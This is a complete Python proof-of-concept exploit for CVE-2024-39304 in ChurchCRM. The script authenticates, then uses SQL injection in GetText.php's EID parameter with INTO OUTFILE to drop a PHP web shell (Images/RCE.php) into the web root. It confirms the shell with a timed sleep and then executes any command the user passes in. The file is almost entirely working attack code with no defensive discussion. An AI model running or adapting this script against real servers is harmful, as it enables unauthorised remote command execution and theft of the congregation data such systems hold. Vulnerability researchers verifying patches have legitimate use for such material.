#!/bin/python3 import requests import argparse import sys import time import string import urllib.parse # NOTE # This path depends on the stack used to host the app # The path used in this POC refers to a xampp setup SERVER_PATH = "/opt/lampp/htdocs/churchcrm" MALICIOUS_FILE_PATH = "/Images/RCE.php" LOG_SIGN = '\033[92m[+]\033[0m ' def authenticate(username: str, password: str, url: str) -> str: login_url = f'{url}/session/begin' data = { 'User': username, 'Password': password, } response = requests.post(login_url, data=data, allow_redirects=False) if response.status_code == 302: cookie = response.headers.get('Set-Cookie', '').split(';')[0] return cookie else: raise Exception(f'Unexpected status code returned from {login_url}: {response.status_code}') def exploit_RCE(cookie: str, url: str, command: str) -> None: target_url = f'{url}/GetText.php' sqli_query = f"1 INTO OUTFILE '{SERVER_PATH + MALICIOUS_FILE_PATH}' FIELDS TERMINATED BY '' LINES TERMINATED BY '' --" requests.get(f'{target_url}?EID={urllib.parse.quote(sqli_query)}', headers={'Cookie': cookie}) start_time = time.time() response_check = requests.get(f'{url}{MALICIOUS_FILE_PATH}?cmd=sleep+5', headers={'Cookie': cookie}) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print(f"\n{LOG_SIGN}Malicious file created successfully") requests.get(f'{url}{MALICIOUS_FILE_PATH}?cmd={urllib.parse.quote(command)}', headers={'Cookie': cookie}) print(f"\n{LOG_SIGN}Command executed") else: raise Exception('Malicious file could not be created') def main(username: str, password: str, url: str, command: str) -> None: try: cookie = authenticate(username, password, url) exploit_RCE(cookie, url, command) except Exception as e: sys.exit(f'Error: Exploit failed\n\n{e}') if __name__ == "__main__": parser = argparse.ArgumentParser( prog='CVE-2024-39304.py', description='Proof-of-Concept script for CVE-2024-39304. This script exploits a RCE vulnerabilit through an authenticated SQL injection.', epilog='For more details, refer to the vulnerability explanation at https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-39304' ) parser.add_argument('-u', '--username', required=True, help='Username for authentication') parser.add_argument('-p', '--password', required=True, help='Password for authentication') parser.add_argument('-b', '--baseUrl', required=True, help='Base URL of the site. Example: https://mydomain/churchcrm') parser.add_argument('-c', '--command', required=True, help='Command to execute') arguments = parser.parse_args() main(arguments.username, arguments.password, arguments.baseUrl, arguments.command)